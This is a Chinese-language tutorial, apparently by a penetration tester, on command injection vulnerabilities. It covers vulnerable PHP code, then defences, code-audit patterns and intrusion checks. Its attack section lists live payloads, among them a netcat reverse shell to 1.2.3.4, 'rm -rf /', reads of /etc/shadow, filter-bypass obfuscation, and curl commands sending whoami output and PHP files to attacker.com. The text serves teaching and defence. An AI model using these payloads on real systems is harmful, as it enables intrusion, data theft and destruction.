第一次遇到命令执行漏洞是在2018年的一次渗透测试中。当时客户的一个电商网站提供了"订单导出"功能,表面上只是将订单数据导出为CSV文件,实际上后端却用system()直接调用了grep命令处理用户输入。当我尝试输入1;cat /etc/passwd时,服务器竟然乖乖返回了系统用户列表——那一刻我意识到,这种看似简单的漏洞远比想象中危险。
命令执行漏洞(Command Injection)的本质是程序将用户输入直接拼接到了系统命令中,使得攻击者能够突破原本的逻辑限制,在目标服务器上执行任意命令。这就像你把家门钥匙交给快递员让他帮忙取个快递,结果他不仅取了快递,还复制了你家钥匙,甚至搬走了你的保险箱。
从技术实现来看,漏洞通常出现在以下场景:
system()、exec()等函数直接执行系统命令以PHP为例,下面这段典型的问题代码:
php复制$user_input = $_GET['filename'];
system("unzip " . $user_input);
当用户传入legit.zip; rm -rf /时,系统会先解压文件,然后执行删除操作。这种将用户输入与命令字符串直接拼接的做法,就像把汽油和明火放在一起——迟早要出事。
某知名CMS的早期版本曾存在一个经典漏洞:后台的"数据库备份"功能直接将文件名拼接到mysqldump命令中。攻击者利用这个漏洞可以:
|管道符将备份结果重定向到web目录这个案例告诉我们:任何将用户输入与系统命令混合的行为,都相当于给攻击者发了一张系统管理员的临时工牌。
不同操作系统下的命令分隔符各有特点:
Unix-like系统:
bash复制# 顺序执行
; whoami
# 前命令成功才执行后命令
&& cat /etc/passwd
# 前命令失败才执行后命令
|| nc -e /bin/sh 1.2.3.4 4444
# 后台执行
& reboot
Windows系统:
cmd复制# 管道符
dir | whoami
# 命令分隔
calc & net user
# 前命令出错才执行后命令
non_exist || regedit
当遇到基础过滤时,攻击者会使用这些方法绕过:
空格替代方案:
bash复制cat</etc/passwd # 重定向代替空格
{cat,/etc/shadow} # 花括号语法
a=who;b=ami;$a$b # 变量拼接
字符编码混淆:
bash复制# 十六进制编码
`echo -e "\x77\x68\x6f\x61\x6d\x69"`
# Base64编码
`echo "d2hvYW1p" | base64 -d`
非常用命令路径:
bash复制/bin/??t /???/p??sw? # 通配符匹配/bin/cat /etc/passwd
/usr/bin/env whoami # 通过env调用
当命令执行结果不直接显示时,这些方法依然可以获取信息:
DNS外带数据:
bash复制# Linux
curl http://attacker.com/`whoami`
ping `hostname`.attacker.com
# Windows
nslookup %USERNAME%.attacker.com
时间盲注:
bash复制sleep $(grep -c root /etc/passwd) # 通过响应时间判断结果
文件写入+读取:
bash复制id > /var/www/html/leak.txt
find / -name *.php -exec curl -F "file=@{}" http://attacker.com \;
白名单验证示例(PHP):
php复制$ip = $_GET['ip'];
if (!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $ip)) {
die('Invalid IP format');
}
$output = shell_exec("ping -c 4 " . escapeshellarg($ip));
关键过滤函数对比:
| 函数 | 作用 | 不足 |
|---|---|---|
escapeshellarg() |
添加单引号包裹 | 不能用于命令部分 |
escapeshellcmd() |
转义元字符 | 可能被复杂payload绕过 |
preg_replace() |
正则过滤 | 需要完善的pattern |
Python最佳实践:
python复制import subprocess
# 安全方式 - 参数列表
subprocess.run(['ls', '-l', user_input])
# 危险方式 - Shell=True
subprocess.run(f'ls -l {user_input}', shell=True) # 绝对避免!
Node.js安全示例:
javascript复制const { execFile } = require('child_process');
execFile('ping', ['-c', '4', userInput], (error, stdout) => {
// 处理结果
});
Linux环境加固:
bash复制# 创建专用低权限用户
useradd -r -s /bin/false webapp
# 设置chroot监狱
mkdir -p /chroot/{bin,lib,lib64}
cp /bin/bash /chroot/bin/
cp /lib/x86_64-linux-gnu/{libtinfo.so.6,libc.so.6} /chroot/lib/
Docker安全配置:
dockerfile复制FROM alpine
RUN adduser -D appuser
USER appuser # 不以root运行
COPY --chown=appuser:appuser . .
CMD ["node", "app.js"]
参数模糊测试:
; sleep 5| & && ||${PATH}功能点重点关注:
延时检测技巧:
bash复制# Linux
; ping -c 5 127.0.0.1
# Windows
| ping -n 5 127.0.0.1
危险函数清单:
| 语言 | 高危函数 |
|---|---|
| PHP | system, exec, passthru, shell_exec, popen, proc_open, ` |
| Python | os.system, os.popen, subprocess.run(shell=True) |
| Java | Runtime.exec, ProcessBuilder |
| Node.js | child_process.exec, child_process.execSync |
代码审计模式:
python复制# 危险模式 - 字符串拼接
command = "convert " + user_input + " output.jpg"
os.system(command)
# 安全模式 - 参数列表
subprocess.run(["convert", user_input, "output.jpg"])
需求阶段:
开发阶段:
测试阶段:
运维阶段:
入侵迹象检测:
bash复制# 检查异常进程
ps auxf | grep -E '(wget|curl|nc|ncat|socat)'
# 查找可疑的cron任务
crontab -l
ls -la /etc/cron*
# 检查可疑的SSH密钥
grep -r "ssh-rsa" /home /root
处置流程:
Serverless中的命令注入:
javascript复制// AWS Lambda示例
exports.handler = async (event) => {
const { execSync } = require('child_process');
// 危险操作!
const result = execSync(`aws s3 ls ${event.bucket}`);
return result.toString();
};
防护建议:
某智能摄像头漏洞利用链:
;telnetd开启服务加固措施:
每次代码提交前问自己:
在最近参与的金融系统开发中,我们通过以下改动消除了所有命令注入风险:
zipfile替代unzip命令requests库替代curl调用安全不是一蹴而就的,而是需要持续保持警惕。每次我看到开发同事准备使用system()时,都会提醒他们:想象这个函数的参数正被数百万恶意用户虎视眈眈地盯着——这种思维方式往往比任何技术方案都更有效。